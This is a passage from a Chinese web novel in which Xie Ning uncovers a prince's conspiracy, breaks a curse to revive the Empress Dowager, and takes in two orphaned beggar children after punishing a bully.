谢宁拎起一串鸽子蛋大小的东珠,在老和尚的眼前晃了晃。
“我怎么记得,这好像是去年西域进贡给皇家的贡品,一共就三串,一串在太后那里,一串在公主那里,还有一串,怎么会跑到你这里来了?”
“我……我……”
老和尚的冷汗,刷的一下就下来了,支支吾吾地,一个字也说不出来。
“搜!”
谢宁懒得再看他那副丑恶的嘴脸。
“把这里所有的东西,全都给我仔仔细细地搜一遍,任何一张纸片,都不能放过!”
“是!”
府兵们立刻领命,开始对整个禅房进行地毯式的搜索。
很快,在一个不起眼的箱子底下,他们找到了一个夹层。
夹层里,放着一个上了锁的紫檀木盒子。
这盒子出现的一瞬,老和尚的脸彻底变了。
“打开!”
一名府兵用刀鞘暴力地将锁撬开。
盒子里面没有金银,只有厚厚的一叠信件,和几本看起来普普通通的账本。
谢宁拿起一本账本,随意地翻看了几页。
“还真的是……”
谢宁将账本扔在桌上,其内记录的根本就不是什么香火钱。
而是大佛寺与京城之中某些达官显贵之间,一些见不得光的交易!
有的是花钱买命,有的是权色交易,甚至,还有一些是官员之间,相互勾结,贪赃枉法的证据!
每一笔,都触目惊心!
而那些信件的内容,更是让谢宁的心沉到了谷底。
其中大部分都是贤王府给这个老和尚的。
信里的内容,赤裸裸地记录了贤王是如何一步步地将大佛寺发展成自己敛财和清除异己的秘密基地。
甚至,还有几封,是那个黑袍风水师,写给贤王的亲笔信!
信中详细地提到了他们是如何设计对李庆宁和皇太后下手的计划!
铁证如山!
“好,好一个贤王!”
谢宁将信纸重重地拍在桌子上,怒极反笑。
“真是我的好皇叔啊!”
他一直以为,贤王只是有野心。
却没想到,他的手段竟然已经卑劣到了这个地步。
为了那个位子,他竟然不惜与妖人勾结,残害自己的亲人,草菅人命!
简直是丧心病狂!
“把这些东西全都给我封存好!”
谢宁对着张猛下令。
“派最可靠的人严加看管,这些,就是送贤王上路的催命符!”
“是!”
张猛的脸上,也写满了震惊和愤怒。
他身为京兆尹府的都尉,自然知道这些东西意味着什么。
这足以在朝堂之上,掀起一场史无前例的滔天巨浪!
老和尚彻底瘫在了地上,这些信件,是他偷偷藏起来的,本想未来作为一个让自己飞黄腾达的跳板,却没想到成了自己的催命符。
这些东西若是曝光,就算谢宁不杀他,贤王也绝对放不了他。
就在这时。
一名暗卫匆匆地从外面走了进来。
“世子,那黑袍人醒了。”
醒了?
谢宁的眼睛微微一眯。
他刚才那一拳虽然没有下死手,但这家伙竟然这么快就醒了过来,还是让谢宁有些诧异。
“走,去会会他。”
谢宁站起身朝着外面走去。
他倒要看看,这个所谓的法师,嘴巴是不是也跟他的骨头一样硬。
溶洞里,那个被谢宁一拳打晕过去的黑袍人,已经被府兵用特制的玄铁锁链给五花大绑了起来。
他靠在石壁上,虽然脸色苍白如纸,气息萎靡,但那双眼睛,却依旧充满了怨毒和不甘。
看到谢宁走过来,他冷笑一声。
“怎么?想从我这里问出点什么?我劝你还是省省力气吧,我一个字都不会告诉你的。”
“是么?”
谢宁走到他面前,蹲下身,与他对视。
“我这个人一向不喜欢逼供,因为我觉得那种方式太不人道了。不过,我倒是会一点小小的,能让
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人说实话的医术。”
说着,他从怀里,掏出了一套银针。
“你想不想体验一下?”
黑袍人看着他手里那闪烁着寒光的银针,瞳孔猛地一缩。
“你……你想干什么?”
“别紧张。”
谢宁笑了笑,捻起一根最细的银针。
“就是跟你聊聊天,顺便,帮你疏通一下经络,活络一下筋骨。”
他的笑容落在黑袍人的眼里,却是让其浑身一颤。
“你休想!”
黑袍人嘶吼道。
“我就是死,也不会让你得逞的!”
“那可由不得你。”
谢宁不再废话,手中的银针,快如闪电地刺入了他头顶的穴位之中。
随着那根纤细的银针刺入。
黑袍人只觉得一股极其古怪,又无比霸道的气流,瞬间涌入了自己的脑海。
那气流,就像是一只无形的大手,粗暴地撕开了他所有的精神防线,将他脑子里那些隐藏最深的秘密,全都给翻了出来。
他的眼神开始变得涣散,呆滞。
脸上那怨毒和不甘的表情,也渐渐被一种诡异的平静所取代。
“你叫什么名字?”
谢宁的声音,像是带着某种魔力,在他的耳边响起。
“玄真子……”
黑袍人用一种梦呓般的的声音机械地回答道。
“你是哪里人?师承何处?”
“我是前朝天一道的余孽……”
“天一道?”
谢宁的眉头微微一挑。
这个名字他好像有印象,似乎是几百年前,一个以炼制活人,修炼邪术而闻名于世的邪教。
后来,因为行事太过残忍,激起了**人怨,被当时的皇朝联合各大正道门派给联手剿灭了。
没想到竟然还有余孽流传至今。
“你是什么时候投靠贤王的?”
“十年前……”
玄真子木然地回答道。
“我被仇家追杀,身受重伤,是……是贤王殿下救了我。从那以后,我就发誓,为他效犬马之劳。”
“所以,给李庆宁下四阴绝户局,给太后下断命邪术,都是贤王指使你干的?”
“是……”
第八十一章 皇太后苏醒
不过,在此之前,还有一件更重要的事情等着他去做。
他抬起头,目光仿佛穿透了厚厚的岩层,望向了皇宫的方向。
那个子母罐,他只毁掉了母罐,慈宁宫里还有一个子罐!
那个东西才是真正威胁太后性命的根源,必须尽快将其找出来彻底摧毁!
想到这里,谢宁不再犹豫。
“你们处理好这里的事情,我先进宫一趟!”
“公子,您一个人去太危险了!”
清风有些担忧地说道。
“放心。”
谢宁笑了笑,身形一晃便消失在了洞口。
离开大佛寺,谢宁没有丝毫的停留,一路施展身法,以最快的速度朝着皇宫的方向赶去。
一路上,他将自己的气息收敛到极致,避开了所有可能存在的眼线。
半个时辰后,谢宁顺利地抵达了皇宫门口。
亮出长公主府的令牌,守门的禁卫军连问都没问,便直接放行了。
谢宁一路畅通无阻地来到了慈宁宫。
宫门口的侍女和太监们看到他,都像是看到了救星一样,连忙上前行礼。
“谢世子,您可算来了!公主殿下和陛下,都在里面等着您呢。”
谢宁点了点头,径直走进了大殿。
一进门,就看到李庆宁和李庆志姐弟俩,正一脸焦急地守在内室的门口。
两人的脸上都写满了疲惫和担忧,眼圈都是红红的。
看到谢宁进来,他们像是找到了主心骨,立刻迎了上来。
“谢宁,你总算来了!”
李庆宁的声音都有些沙哑。
“母后的情况……好像又严重了。”
“别急。”
谢宁拍了拍她的手,安慰道。
“我先进去看看。”
说完,他不再多言,推开内室的门走了进去。
龙床之上,皇太后依旧是双目紧闭,面色灰败,气息微弱得仿佛随时都会断绝。
谢宁上前探了探她的脉搏,眉头不由得皱得更紧了。
情况确实比他上次离开时要糟糕得多。
那股盘踞在她体内的阴毒邪气,似乎变得更加活跃了。
若不是有他布下的固元锁阳阵在苦苦支撑,恐怕太后现在已经是一具冰冷的尸体了。
看来,那个子罐的影响比他想象的还要大。
必须立刻找到它!
谢宁深吸一口气,缓缓地闭上了眼睛。
他将自己的意识沉入气海,开始仔细地感应着整个慈宁宫的气场流动。
先前在溶洞里,他引爆霹雳子的时候,不仅仅是为了毁灭那个祭坛。
更重要的一个目的,就是为了在母罐被毁的瞬间,捕捉到那一丝与子罐之间的能量共鸣,虽然那丝共鸣极其微弱,稍纵即逝。
但对于谢宁来说,已经足够了。
他就像一个最高明的猎人,循着那丝微弱的气息,开始在庞大而又复杂的慈宁宫气场中,进行地毯式的搜索。
一寸一寸,一分一分,不放过任何一个角落。
时间在这一刻仿佛变得无比缓慢,守在门外的李庆宁姐弟俩,只看到谢宁站在原地,闭着眼睛一动不动,都有些不明所以。
“皇姐,姐夫这是在做什么?”
李庆志小声地询问。
“我也不知道。”
李庆宁摇了摇头,但她的眼神里,却充满了信任。
“我们别出声,不要打扰他。”
就在这时,谢宁的眼睛猛地睁开!
找到了!
他的目光瞬间锁定在了房间角落里,一个用来焚香,半人多高的青铜仙鹤香炉上。
那香炉雕刻得栩栩如生,仙鹤引颈长鸣,造型古朴大气,一看就不是凡品。
但此刻在谢宁的眼中,这尊华美的香炉,却散发着一股与整个房间格格不入的阴邪之气。
而这邪气的源头,正来自香炉内部!
“就是你了!”
谢宁冷哼一声,快步走了过去。
他没有丝毫的犹豫,直接伸出手,一把掀开了香炉的顶盖。
一股浓郁的血腥味和腐臭味,瞬间从里面扑面而来。
只见那巨大的香炉腹中,根本就不是什么香料。
而是一个和他在溶洞里看到的那个一模一样,只是小了很多号的黑色陶罐。
陶罐的周围,还塞满了各种用人
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血浸泡过的,散发着恶臭的符纸和布条。
谢宁有些诧异,先前他便查看过这个香炉,只是和上次相比,这一次有了些许联系。
若非有那丝联系,竟真是一点都感觉不到。
谢宁深吸一口气,将体内的先天真气,疯狂地灌注到自己的右掌之上。
他的手掌瞬间亮起了一层淡淡的金色光芒。
“破!”
他低喝一声,一掌拍在了黑色陶罐之上!
“砰!”
一声闷响传出。
那看起来坚硬无比的陶罐,在接触到他手掌的瞬间,就像是脆弱的豆腐一般,轰然碎裂!
里面那些黑色的,散发着恶臭的液体和残渣,溅得到处都是。
但还没等它们落地,就被谢宁掌心散发出的金色光芒瞬间净化,消失得无影无踪。
做完这一切,谢宁还不放心。
他又从怀里掏出一张空白的符纸,咬破指尖,用自己的鲜血在上面迅速地画下了一道净天地神咒。
“敕!”
他将符纸往香炉里一扔。
“呼!”
一团金色的火焰凭空在香炉中燃起,很快便将里面所有残留的邪气烧得一干二净!
几乎就在子罐被彻底摧毁的同一瞬间。
躺在床上的皇太后,身体猛地一颤。
她那紧闭了多日的眼皮,竟然开始轻微地颤动起来。
“嗯……”
一声若有若无的**,从她的口中发出。
然后,在谢宁的注视下,她缓缓地,睁开了眼睛。
皇太后,醒了!
“母后!”
“母后您醒了!”
一直守在门口的李庆宁和李庆志,听到动静立刻冲了进来。
当他们看到已经睁开眼睛,虽然还很虚弱,但眼神已经恢复了神采的皇太后时,激动得眼泪瞬间就流了下来。
他们一左一右地扑到床边,紧紧地握住了太后的手,泣不成声。
“太好了……母后,您终于醒了……”
“朕的母后……您感觉怎么样?”
皇太后看着自己这两个哭得跟孩子一样的儿女,苍白的脸上露出了一丝诧异。
第八十二章 那就请君入瓮
她张了张嘴,似乎想说什么,但因为太过虚弱,只发出了几个模糊的音节。
“别急,母后,您刚醒过来,先别说话。”
李庆宁连忙擦干眼泪,柔声安慰道。
谢宁看着眼前这母慈子孝的一幕,脸上也露出了一丝微笑。
总算是没有白忙活一场。
就在这时,一名太监匆匆地从外面跑了进来。
“启禀公主殿下,京兆尹府的张都尉求见,说是有天大的要案,要亲自向您和陛下禀报!”
张猛来了?
谢宁的眉头微微一挑。
看来,大佛寺那边已经搜查完了。
李庆宁和李庆志对视了一眼,都从对方的眼中看到了一丝凝重。
“让他进来。”
李庆宁沉声道。
很快,一身戎装,脸上还带着几分风尘仆仆之色的张猛,便大步流星地走了进来。
他先是看了一眼床上已经苏醒的太后,眼中闪过一丝喜色。
随即,他快步走到殿前,单膝跪地。
“末将张猛,参见陛下,公主殿下,谢世子!”
他的身后,还跟着几名府兵,抬着好几个沉甸甸的大箱子。
“张都尉,平身吧。”
李庆宁的声音恢复了往日的沉稳。
“你说有天大的要案,是怎么回事?”
“回禀公主殿下!”
张猛站起身,看了一眼谢宁,随后才指了指身后那几个大箱子,声音铿锵有力。
“末将奉世子之命,查抄大佛寺,在寺中住持的禅房暗格之内,搜出了这些东西!”
“其中,不仅有大佛寺多年来敛聚的不义之财,更有他们与京中某些权贵,暗中来往的书信和账本!”
“这些,就是所有的证物!”
说着,他一挥手,身后的府兵立刻上前,将那几个箱子一一打开。
金银珠宝,古玩字画,地契房契……
那璀璨的光芒,晃得整个大殿都亮了几分。
但李庆宁和李庆志的目光,却并没有停留在这些财物上。
他们的视线,都落在了最上面那个紫檀木盒子里。
那里面,是厚厚的一叠信件,和几本不起眼的账本。
张猛将木盒恭敬地呈了上去。
李庆志毕竟是少年心性,第一个按捺不住,伸手拿起了一本账本翻看了起来。
才看了几页,他的脸色就变得铁青。
“混账!”
他猛地将账本摔在地上,气得浑身发抖。
“这些秃驴,简直是无法无天,贪赃枉法,草菅人命!他们还有什么是干不出来的?”
李庆宁的脸色也同样凝重。
她没有去看那本记录着各种肮脏交易的账本,而是拿起了那些信件。
当她看到信件上的落款和内容时,那双一向古井无波的凤眸之中,也忍不住地掀起了惊涛骇浪。
“贤王……”
她从牙缝里,挤出了这两个字。
“皇姐,信里写了什么?”
李庆志连忙问道。
李庆宁没有说话,只是将信纸递给了他。
李庆志接过信,一目十行地看了下去。
越看,他脸上的怒火就越盛。
当他看到信中详细描述贤王是如何指使那个玄真子对自己母后下毒手时。
“砰!”
他一拳狠狠地砸在了旁边的桌案上。
那张由上好花梨木制成的桌子,竟是应声而裂!
“好!真是我的好皇叔!”
李庆志怒极反笑,眼眶都气红了。
“朕待他不薄,他就是这么回报朕的,不仅要害朕的母后,害朕的皇姐,他这是要谋朝篡位,想谋逆呐!”
“来人!”
他猛地站起身,对着殿外大喝一声。
“给朕传旨,立刻调集禁卫军包围贤王府,朕要亲自去问问他,他到底安的什么心!”
李庆志真的是被气疯了。
他怎么也想不到,自己一向敬重的皇叔,背地里竟然是这样一个包藏祸心,阴险毒辣的豺狼!
“陛下,不可!”
就在这时,谢宁和李庆宁几乎是异口同声地开口制止。
“为什么不可?”李庆志红着眼睛看向两人。
“证据确凿,铁证如山!朕现在就去把他抓起来,凌迟处死也不为过!”
“陛下,您稍安勿躁。”
李庆宁深吸一口气,强行让自己冷静下来。
“皇叔他经营多年,在朝中党羽众多,在军中也颇有威望。
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我们现在这样大张旗鼓地去抓他,万一逼得他狗急跳墙,振臂一呼,届时京城大乱,后果不堪设想!”
“那怎么办!”
李庆志虽然愤怒,但也知道皇姐说的有道理。
“难道就这么眼睁睁地看着他逍遥法外么?”
“当然不是。”
谢宁在一旁笑了笑,开口说道,“公主殿下的意思是,我们不能打草惊蛇。”
“哦?”
李庆志看向谢宁,“姐夫,你有什么好办法?”
“办法谈不上。”
谢宁摇了摇头。
“只是一个不成熟的想法。”
“既然皇叔他喜欢在背地里搞小动作,那我们不如就将计就计,陪他好好玩玩。”
“将计就计?”
李庆宁的眼睛一亮。
“你的意思是……”
“没错。”
谢宁点了点头,嘴角微微上调。
“我们现在就当做什么都不知道,大佛寺的案子,就查到那些贪赃枉法的和尚为止。把这些真正的罪证先藏起来,我们只需暗中派人盯死贤王府的一举一动即可。”
“不过除此之外,暗中削减贤王势力才是当务之急。”
李庆宁也适时开口,眸中杀意尽显。
“对,当他以为时机成熟,准备动手的那一刻,最后却发现无人可用,我们再将其一网打尽,鸡犬不留。”
谢宁的声音不大,但话语里那股毫不掩饰的森然寒意,却让整个大殿的温度都仿佛降了几分。
李庆志听得是热血沸腾。
对啊!
就这么直接杀了那个老混蛋,实在是太便宜他了!
就要像谢宁说的那样,让他眼睁睁地看着自己所有的谋划都付诸东流,在最得意的时候,给他最沉重的一击,这才是最解恨的!
将计就计,引蛇出洞,请君入瓮。
这一招,实在是高!
“好!”
李庆志重重地点了点头。
“就按姐夫你说的办!”
他转头看向张猛,下令道。
“张都尉,今天的事情,你知我知,天知地知。若是泄露了半个字,提头来见!”
“末将明白!”
张猛神情一凛,立刻躬身领命。
第八十三章 建安城的夜
“将这些东西立刻封存,送到公主府的密室,派最可靠的人日夜看守!”
“是!”
一场足以颠覆整个大齐王朝的惊天阴谋,就在这小小的寝宫之中,被三人悄无声息地化解,并且,还布下了一个更大的口袋。
现在,就等着那条自以为是的毒蛇,自己钻进袋子了。
事情暂告一段落,谢宁也准备告辞了。
“谢宁。”
李庆宁叫住了他。
“这次,又多亏了你。”
她的声音里,带着一丝连她自己都没有察觉到的温柔。
“我们之间,还用说这些么?”
谢宁笑了笑。
“太后刚醒,身体还很虚弱,你多陪陪她吧。我先回府了。”
说完,他转身,潇洒地离开了慈宁宫。
看着他离去的背影,李庆宁的嘴角,不由自主地向上扬起。
而床上一直没有说话的皇太后,将这一切都看在眼里。
她那双饱经风霜的眸子里,闪过了一丝复杂难明的神色。
回到定远侯府,谢宁先是去看了看被安置在偏院的老太君。
老太太依旧是昏迷不醒,人事不知。
谢宁又给她渡了些先天真气,稳固了一下她的神魂,然后嘱咐下人好生照料,便回到了自己的院子。
清风和明月早就在院里等着了。
“公子,您回来了。”
两人连忙迎了上来。
“事情都办妥了?”
谢宁一边走进房间,一边随口问道。
“回公子,都办妥了。”
清风回道。
“那些被解救出来的女子都已经妥善安置在了城南的别院,公主殿下派了御医过去给她们诊治。”
“大佛寺那边,也已经由京兆尹府的人全面接管,正在清点寺产,抓捕余孽。”
“嗯。”
谢宁点了点头。
李庆宁的办事效率,他一向是信得过的。
“对了,公子。”
明月像是想起了什么,开口说道,“您离开之后,贾一博来过一趟。”
“哦?”
谢宁的动作顿了一下。
“他来干什么?”
“他说是来探望老太君的,不过被我们给拦回去了。我们跟他说老太君偶感风寒,需要静养,任何人不得打扰。他虽然一脸不甘心,但也没敢硬闯,在门口骂骂咧咧了一阵就走了。”
“干得不错。”
谢宁赞许地点了点头。
贾一博这家伙就是属苍蝇的,闻着味儿就过来了。
他肯定是从哪里听到了风声,想来确认一下老太君的情况。
现在被清风明月挡了回去,他心里肯定会更加猜忌,更加不安。
这样也好,让他自己先乱了阵脚。
“行了,今天都辛苦了,早点下去休息吧。”
谢宁挥了挥手。
“是,公子。”
清风和明月躬身退下。
房间里,又只剩下了谢宁一个人。
他坐在桌边,给自己倒了一杯茶,脑子里却在飞快地复盘着今天发生的所有事情。
从夜探洞窟,到引**弹。
从对决玄真子,到搜罗罪证,再到皇宫定计。
这一天下来,发生的事情实在是太多,饶是以他的心性,也感到了一丝疲惫。
不过,这种将所有事情都牢牢掌控在自己手中的感觉,确实很爽。
一想到贤王那个老狐狸在自以为得计的时候,被自己一脚从云端踹下来的场景,谢宁就忍不住地想笑。
他现在什么都不用做,只需要静静地等待。
等着那条毒蛇,自己露出獠牙。
可问题是,这个等待的过程,似乎有点无聊啊。
贤王要准备动手,肯定还需要一段时间。
这段时间里,自己干点什么好呢?
总不能天天就待在府里,跟贾一博那帮人斗心眼吧?
那也太没劲了。
说起来,穿越到这个世界这么久,还从来没有好好地逛过一次建安城呢。
正好可以去体验一下这个时代的风土人情。
想到就做,谢宁迅速换下身上那套沾染了硝烟和血腥味的劲装,穿上了一件普通的青色长衫,将头发用一根木簪简单地束起。
整个人看起来就像一个家境尚可的普通书生,丝毫没有侯府世子的架子。
他不想太引人注目。
悄悄地从后门溜出了侯府,谢宁汇入了夜晚建安城熙熙攘
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攘的人流之中。
虽然天色已晚,但作为大齐的都城,建安城的夜市依旧是灯火通明,人声鼎沸。
街道两旁,是各式各样的小摊。
卖小吃的,卖杂耍的,卖字画的,卖胭脂水粉的……
叫卖声,吆喝声,欢笑声,不绝于耳。
一派繁华盛世的景象。
谢宁背着手,不紧不慢地在人群中穿行,饶有兴致地打量着周围的一切。
这种感觉很新奇,也很放松。
没有阴谋,没有算计,只有最纯粹的人间烟火气。
他走到一个卖糖人的小摊前,看着那老师傅用一勺滚烫的糖稀,三两下就吹出了一个活灵活生的小兔子,不由得啧啧称奇。
他又走到一个说书先生的摊子前,听了一段定远侯爷单骑退敌的故事。
当听到说书先生把自家那位老爷子吹得神乎其神,天花乱坠的时候,他忍不住地笑出了声。
就在他逛得正起劲的时候。
一阵刺耳的喧哗声,突然从不远处的一条巷子口传了过来。
“小杂种,还敢跑?给老子站住!看我不打断你的腿!”
紧接着,就是小孩子的哭喊声和求饶声。
谢宁的眉头一皱。
又是这种欺凌弱小的戏码么?
他本来不想多管闲事。
但那几个叫骂的声音,实在是太嚣张,太刺耳了。
他想了想,还是抬脚朝着巷子口走了过去。
他倒要看看,是哪家的纨绔子弟这么没有教养。
刚一拐进巷子,谢宁就看到三四个穿着华丽,一看就是富家公子的年轻人,正将两个衣衫褴褛,浑身脏兮兮的小孩子堵在墙角。
那两个孩子一男一女,看起来也就七八岁的样子,瘦得跟猴儿似的。
此刻,他们正被其中一个胖乎乎的公子哥一脚踹倒在地。
“呸!两个小叫花子,也敢撞到本少爷身上!”
那胖公子吐了一口唾沫,一脸的嫌恶。
“弄脏了本少爷的衣服,你们赔得起么?”
“对不起,对不起……我们不是故意的……”
那个小男孩挣扎着爬起来,将小女孩护在身后,一边哭,一边不停地道歉。
第八十四章 路见不平拔刀相助
那个小男孩挣扎着爬起来,将更瘦小的女孩护在身后,一边哭,一边不停地道歉:“对不起,对不起……我们不是故意的……”
“不是故意的?”胖子身旁一个尖嘴猴腮的少年怪笑一声,上前推了小男孩一个趔趄,“我看你们就是故意的!想讹钱是不是?也不看看我们是谁!”
“算了算了,跟两个泥猴儿置什么气。”
另一个稍显沉稳的少年劝了一句,但语气里却满是高高在上的施舍。
“让他们磕个头,滚蛋就是了。”
胖子显然不满意这个提议,一脚踹在墙上,震得墙皮簌簌往下掉。
“磕头?便宜他们了!今天不把本少爷这身杭绸的钱赔出来,就打断他们的腿!”
杭绸?就他身上那件油光水滑、俗不可耐的袍子,最多值个十几两银子,却要两个孩子的腿来赔。
谢宁心中冷笑一声,轻轻咳了咳。
这声咳嗽在狭窄的巷子里显得格外清晰,几个纨绔子弟立刻转过头来,目光不善地落在他身上。
“哪儿来的穷酸书生,也敢多管闲事?”尖嘴猴腮的少年上下打量着谢宁那身普通的青色长衫,眼神轻蔑。
谢宁没理他,目光落在那个胖子身上,不咸不淡地开口:“为了一件衣服,当街欺凌两个孩子,传出去,不知令尊脸上光彩否?”
胖子像是被踩了尾巴的猫,顿时炸了**。
“你算个什么东西!也敢提我爹?我爹是户部侍郎,你信不信我一句话,让你在建安城待不下去!”
“哦?户部侍郎?”谢宁故作惊讶,随即摇了摇头,脸上露出几分惋惜,“可惜了,可惜了。”
“你可惜什么?”胖子被他这副样子搞得莫名其妙。
谢宁的目光从胖子身上,缓缓移到他那几个同伴脸上。
随后才慢悠悠地道:“我可惜,几位都是真心实意的朋友,却要眼睁睁看着自家兄弟为了十几两银子败坏门风。”
“真正的朋友,此刻不是应该站出来,二话不说把银子付了。既保全了兄弟的面子,又彰显了自己的义气?”
他顿了顿,话锋一转,语气里带上了几分玩味。
“当然,除非你们根本没把他当兄弟,不过是看在他爹是户部侍郎的份上,跟在他屁股后面捡点残羹冷饭吃罢了。”
这话如同一根毒刺,精准地扎进了几个少年敏感又虚荣的心里。
那尖嘴猴腮的少年脸色一变,立刻反驳道:“你胡说八道,我跟王胖子是过命的交情!”
“就是!”另一个也跟着附和,“我们还会差这点钱?”
“既然不差钱,那为何不出?”谢宁反问。
一句话把几人问住了。
他们平日里跟着王胖子作威作福,花的都是王胖子的钱,自己兜里哪有几个子儿?
王胖子见自己朋友被一个穷书生几句话说得哑口无言,脸上挂不住了,指着谢宁怒吼:“你少在这里挑拨离间!”
“今天这事儿跟他们没关系,就是我跟这两个小杂种的事!你再多说一句,我连你一块儿打!”
“打我?”
谢宁笑了,那笑容里带着一丝悲天悯人的神色。
他仔仔细细地端详着王胖子的脸,口中啧啧有声。
“你看什么看!”王胖子被他看得心里发毛。
“我看你印堂发黑,山根塌陷,双颧无肉,命宫晦暗。”
谢宁一字一句,声音不大,却清晰地传进每个人的耳朵里。
“此乃大凶之兆。尤其是你这眉心黑气凝而不散,怕是半个时辰之内,必有血光之灾啊。我劝你,最好现在立刻回家,紧闭门窗,一步都不要再动,或许还能躲过一劫。”
巷子里瞬间安静下来,几个纨绔子弟面面相觑,都被谢宁这神神叨叨的话给唬住了。
相术之说,在大齐颇为流行,宁可信其有,不可信其无。
只有王胖子,在短暂的惊愕之后,眼中露出滔**火。他觉得这穷书生是在变着法儿地咒他!
“放**屁!”王胖子彻底暴走,“你敢咒我?我看你才有血光之灾!老子今天就先给你开开光!”
说着,他挥
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舞着肥硕的拳头,像一头被激怒的肥猪,猛地朝谢宁冲了过去。
谢宁站在原地,动都未动,嘴角甚至还挂着一丝若有若无的笑意。
就在王胖子的拳头即将碰到谢宁衣角的瞬间。
“吁!快让开!马惊了!让开!”
一声凄厉的嘶吼伴随着车轮疯狂滚动的声音,从巷子口猛地传来!
众人骇然回头,只见一辆装饰华丽的马车如同脱缰的野狗,疯了一般冲了过来!
驾车的车夫满脸惊恐,死死地拉着缰绳,却根本控制不住那匹双眼通红的惊马!
“快跑!”
那几个纨绔子弟吓得魂飞魄散,连滚带爬地向两边墙壁贴去。
唯有王胖子,他前冲的势头太猛,此刻想停下来已经来不及,想躲闪,那肥胖的身躯又不够灵活。
他就这么眼睁睁地看着那辆失控的马车,在自己的瞳孔中越放越大!
“不!”
“砰!”
一声沉闷的巨响,伴随着骨头碎裂的“咔嚓”声和王胖子杀猪般的惨叫,响彻了整条小巷。
前一秒还威风凛凛的王侍郎公子,此刻像个破麻袋一样被撞飞出去,重重地摔在几米外的地上,一条腿以一个诡异的角度扭曲着,鲜血瞬间染红了他的锦袍。
惊马拖着破损的马车,又往前冲出十几米,终于被一棵大树拦住,停了下来。
整个巷子,连同外面的大街,瞬间乱成了一锅粥。
尖叫声,呼喊声,乱作一团。
没有人注意到,在这片混乱之中,谢宁只是平静地掸了掸衣袖上本不存在的灰尘。
他走到那两个已经吓傻了的孩子面前,温和地伸出手。
“别怕,我们走。”
他的声音像是有种魔力,让两个孩子瞬间安定下来。
小男孩愣愣地看着他,然后紧紧地抓住了他的手,另一只手则拉住了自己的妹妹。
谢宁牵着两个孩子,不紧不慢地走出了混乱的巷口,汇入了外面熙熙攘攘的人潮之中,仿佛刚才那场惊心动魄的意外,与他没有丝毫关系。
第八十五章 一饭之恩
只有他自己知道,刚才王胖子冲过来的时候,他屈指一弹,一枚看不见的石子,精准地打在了那匹马的屁股上。
对付恶人,有时候,根本不需要自己动手。
天道好轮回,他不过是顺手,帮老天爷推了一把而已。
夜市的喧嚣与方才巷子里的血腥混乱恍若两个世界。
谢宁领着两个孩子,在琳琅满目的小摊间穿行,最后在一个人不多,但锅里热气腾腾,香气扑鼻的面摊前停了下来。
“老板,三碗牛肉面,多加肉,再切一碟卤干。”
“好嘞!”面摊老板爽快地应了一声。
两个孩子被按在长条凳上,依旧是惊魂未定的模样,小手紧紧地攥着谢宁的衣角,不敢松开。
尤其是那个叫丫丫的小女孩,半张脸都埋在哥哥的背后,只露出一双黑白分明的大眼睛,怯生生地打量着这个陌生的恩人。
谢宁也不催促,等面端上来后,他将肉最多的那两碗推到孩子们面前,自己则慢条斯理地挑起一筷子面,吹了吹热气,送入口中。
“嗯,味道不错。”
他像是自言自语,又像是说给他们听。
“你们也快吃吧,凉了就不好吃了。”
食物的香气和眼前之人温和的态度,终于战胜了孩子心中的恐惧。
男孩看着妹妹渴望的眼神,终于鼓起勇气,拿起了筷子。
他笨拙地夹起一块牛肉,小心翼翼地放到妹妹的碗里。
“妹妹,吃。”
丫丫看了看哥哥,又看了看谢宁,终于小声地说了句:“谢谢……大哥哥。”
然后,两个孩子便埋下头,风卷残云般地吃了起来。
他们实在是饿坏了,吃得又快又急,汤汁溅得到处都是,小脸吃得像只花猫。
谢宁没有笑话他们,只是静静地看着,又让老板加了两个刚出炉的烧饼。
一顿热乎乎的饱饭下肚,两个孩子的精神明显好了许多,身上的寒气和怯意也消散了大半。
“我叫谢宁。”
谢宁等他们吃完,才温声开口。
“你们叫什么名字?家住哪里?为何会流落街头?”
男孩用袖子擦了擦嘴,似乎在犹豫要不要说。他身后的丫丫小声地提醒道:“哥哥,他是好人。”
男孩点了点头,终于下定决心,抬起头看着谢宁。
“我叫石头,她是我妹妹丫丫。”
“我们……我们没有家了。”
随着石头断断续续的讲述,一个悲惨的故事在谢宁面前缓缓展开。
他们本是京郊外一个村庄的孩子,村子不大,但日子还算过得去。
可去年冬天,天降大旱,地里颗粒无收,开春后,又闹了匪灾。
他们的爹娘为了保护他们,被土匪活活**。
后来,一个远房的叔叔找到了他们,说要带他们进京城讨生活。
年幼的兄妹俩以为遇到了救星,满怀希望地跟着他进了这繁华的都城。
可他们没想到,那个人面兽心的叔叔,转手就把他们以二两银子的价格,卖给了一个盘踞在城西破庙里的乞丐。
“那乞丐是个帮派头子,叫独眼龙,他只有一只眼睛,可凶了!”
石头的声音里带着颤抖。
“他逼着我们出来要饭,每天都要交够五十文钱,要是交不够,回去就要挨打,还不给饭吃。”
“今天……今天我们运气不好,没要到多少钱,眼看天黑了,我们怕回去挨打,就想找个地方躲起来,没想到……没想到撞到了那个胖子……”
丫丫在一旁听着,眼圈又红了,小声地补充道:“独眼龙还打**虎子哥,就因为虎子哥生病了,三天没要到钱……”
谢宁端着茶杯的手,指节微微泛白。
又是这种腌臜事。
这繁华的建安城,就像一件外表光鲜亮丽的锦袍,可只有掀开来才知道,里面爬满了恶臭的虱子。
一股杀意从他的心底升起,迅速蔓延至四肢百骸。
他原本只想安安静静地解决掉贤王,然后带着长公主逍遥快活去。
可现在他发现,这世间的恶,盘根错节,拔掉一个,还有千千万万个。
他看着眼前这两个孩子,他
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们脸上还带着污垢,眼神里却透着一股经历苦难后的清澈。
他们就像是这黑暗中的两点微光,脆弱,却又顽强。
若是今天没有遇到自己,他们的下场会是什么?被那个王胖子打断腿?还是被独眼龙抓回去活活饿死?
谢宁沉默了。
他可以给他们一些银子,让他们离开。
可两个孩子身怀银钱,在这乱世中,与待宰的羔羊何异?
他也可以将他们送到官府,但官府的那些胥吏,又有几个是真心办事的?说不定转手又将他们卖了换酒钱。
思来想去,竟没有一条万全之策。
“大哥哥,你怎么了?”
丫丫见他半天不说话,小心翼翼地扯了扯他的袖子。
谢宁回过神,看着女孩那双澄澈如水的眸子,心中的寒意忽然被一股暖流所取代。
他伸手,轻轻摸了摸丫丫的头,动作前所未有的温柔。
“没什么。”他的嘴角重新挂上了笑容,“我在想,以后你们就跟着我吧。”
石头和丫丫都愣住了。
“跟……跟着你?”石头不敢相信自己的耳朵。
“对。”谢宁站起身,语气不容置疑,“从今往后,我罩着你们,保证再也没有人敢欺负你们。”
他决定了,授人以鱼不如授人以渔。
与其给他们一时的安稳,不如彻底端掉那个毒瘤般的丐帮,还他们,也还其他像他们一样的孩子,一个干净的生存空间。
